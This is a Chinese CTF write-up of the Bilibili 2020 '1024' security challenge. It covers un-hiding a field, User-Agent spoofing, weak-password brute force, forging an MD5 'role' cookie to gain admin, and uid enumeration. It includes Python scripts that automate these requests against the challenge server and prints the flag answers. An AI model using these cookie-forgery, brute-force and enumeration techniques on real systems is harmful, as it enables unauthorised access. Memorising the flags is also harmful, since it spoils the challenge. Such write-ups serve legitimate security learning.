目录:
1.前言
2.页面后面是什么?
3.真正的秘密只有特殊的设备才能看到
4.密码是啥?
5.对不起权限不足~
6.别人的秘密
7.结束亦是开始
8.前五题一键出flag脚本
1.前言
昨天是10月24号,国内行业内的人几乎都把这一天作为程序员的节日了。本来在B站上看Geekpwn比赛的我,突然发现B站也搞了一个安全挑战赛。ctf打的少没啥经验。
后来有人在github上说,这个整的就是NU1l的屠榜赛。人家Nu1l可是国内有名的CTF战队。不知道的百度一搜一大堆。
2.页面后面是什么?
http://45.113.201.36/index.html
这第一题就有点懵,打开就一个index页面。
审查元素:
删除type的hidden属性看看:
删除type后flag1就出来了。
flag1:5f8a5e0b-058db475-2839dfb2-dce9500d
3.真正的秘密只有特殊的设备才能看到
http://45.113.201.36/index.html
代码审查:
在前端代码中提到:需要使用bilibili Security Browser浏览器访问。一开始挺蒙的,访问/api/ctf2接口啥也没有。
只能看到api接口有"code"、“data”和“msg”字段。正在一筹莫展的时候,在群里有人说改UA,顿时我就明白了。看来还是CTF玩的少,这源码里给的提示看不懂啊。
可以看到,访问api接口,修改User-Agent后,flag2就显示在data字段中。为什么要提这个呢?因为有个大佬根据这api的规律(前5题flag都在data字段中)写了一个python脚本,只需要run一下,前五题的flag就出来了。
flag2: 38810a10-6f2122e7-95e13664-ddadafd5
4.密码是啥?
http://45.113.201.36/login.html
打开页面,发现了了登录框,首先试了万能密码,发现不行。用Burpsuite批量跑了SQL注入和xss注入,无果。
看来只剩弱口令了,构造字典进行爆破,没想到爆破成功了。账号密码:admin bilibili
flag3:618a524f-bb29ead4-741c2e2a-c20e1184
5.对不起权限不足~
http://45.113.201.36/superadmin.html
审查代码:
上面提到只有超级管理员才能看见,提示我们要提权,怎么提权呢?超级管理员:administrator。怎么才能成为超级管理员呢?
在页面的Cookie中发现有role参数。发现role的值是32位,MD5解密看看。
user,那我现在知道要怎么伪装成超级管理员了。尝试了administrator的MD5,发现不行,原来A得大写。Administrator的md5是:7b7bc2512ee1fedcd76bdc68926d4f7b
flag4:9d5a3580-3d683787-54487951-0beae5ed
6.别人的秘密
http://45.113.201.36/user.html
审查代码:
代码解释:
下面的正则我也看不懂,要好好记录一下。
var reg = new RegExp("(^|bai&)"+ name +"=([^&]*)(&|$)");
这个正则是寻找“&+url参数名字=值+&”,&可以不存在。
var r = window.location.search.substr(1).match(reg);
if (r!=null) return unescape(r[2]); return null;
这里是开始匹配,找到了就返回对应url的值,没找到返回null。match()方法可以在字符串内检索指定的值,或找到一个或多个正则表达式的匹配。
提供了一个api接口:/api/ctf/5?uid=,有uid参数。这里某个大佬写了个遍历uid的py脚本,拿到了flag5。在原来的基础上我改了改。
bctf5.py:
#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# Author:unknow
# Rewrite by afei
import requests
import json
import sys
'''
session = input("请输入你的session:")
headers = {
'Cookie': 'session = ' + session + ';role=7b7bc2512ee1fedcd76bdc68926d4f7b'
}
for i in range(100336889, 999999999):
response = requests.get('http://45.113.201.36/api/ctf/5?uid=' + str(i), headers = headers).json()
if response['data'] != '':
print("The bctf5 flag is:", response['data'])
'''
def flag5():
if(len(sys.argv) < 2):
print("-----------------------------------------------")
print(" ")
print("Useg: python %s <session> eg: eyJ1aWQiOiIzODQ5OTQ1OTcifQ" % sys.argv[0])
print(" ")
print("-----------------------------------------------")
return
session = sys.argv[1]
headers = {
'Cookie': 'session = ' + session + ';role=7b7bc2512ee1fedcd76bdc68926d4f7b'
}
for i in range(100336889, 999999999):
response = requests.get('http://45.113.201.36/api/ctf/5?uid=' + str(i), headers = headers).json()
if response['data'] != '':
print("The bctf5 flag is:", response['data'])
return
if (__name__ == '__main__'):
flag5()
flag5:ffd697c7-d925703a-4e0d54bc-5918ba2e
7.结束亦是开始
http://45.113.201.36/blog/single.php?id=1
从第6题开始,发现78910题都能打开,并且只有这一个URL。
呃呃呃,什么情况?打开报404,捣鼓了半天,没思路。群里一问,被人把blog删了。唉,无语了。
修复之后发现页面是可以打开,但也只有http://45.113.201.36/blog/single.php?id=1这一个页面,其他都无法访问,不知道是不是正常的。没法玩了。
8.前五题一键出flag脚本
在群里某个大佬根据前5题的规律写出了一个简单的py脚本。
2020-1024.py:
#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# Author: unknow
import requests
import json
session = input('请输入你的session:')
headers = {
'User-Agent': 'bilibili Security Browser',
'Cookie': 'session = ' + session + ';role=ee11cbb19052e40b07aac0ca060c23ee'
}
response = requests.get('http://45.113.201.36/api/admin', headers=headers).json()
print('第1题答案是:', response['data'])
response = requests.get('http://45.113.201.36/api/ctf/2', headers=headers).json()
print('第2题答案是:', response['data'])
headers = {
'Cookie': 'session=' + session + '; role=ee11cbb19052e40b07aac0ca060c23ee',
'Content-Type': 'application/json'
}
data = {
"username": "admin",
"passwd": "bilibili"
}
response = requests.post('http://45.113.201.36/api/ctf/3', headers=headers, data=json.dumps(data)).json()
print('第3题答案是:', response['data'])
headers ={
'Cookie': 'session = ' + session + ';role=7b7bc2512ee1fedcd76bdc68926d4f7b'
}
response = requests.get('http://45.113.201.36/api/ctf/4', headers=headers).json()
print('第4题答案是:', response['data'])
for i in range(100336850, 999999999):
response = requests.get('http://45.113.201.36/api/ctf/5?uid=' + str(i), headers=headers).json() #100336973
if response['data'] != '':
print('第5题答案是:', response['data'])
前五题思路可参考文章:
https://blog.csdn.net/YooLcx/article/details/109260556
更多文章请前往:https://blog.csdn.net/qq_41490561
往期推荐
文章转载自微信公众号网络运维渗透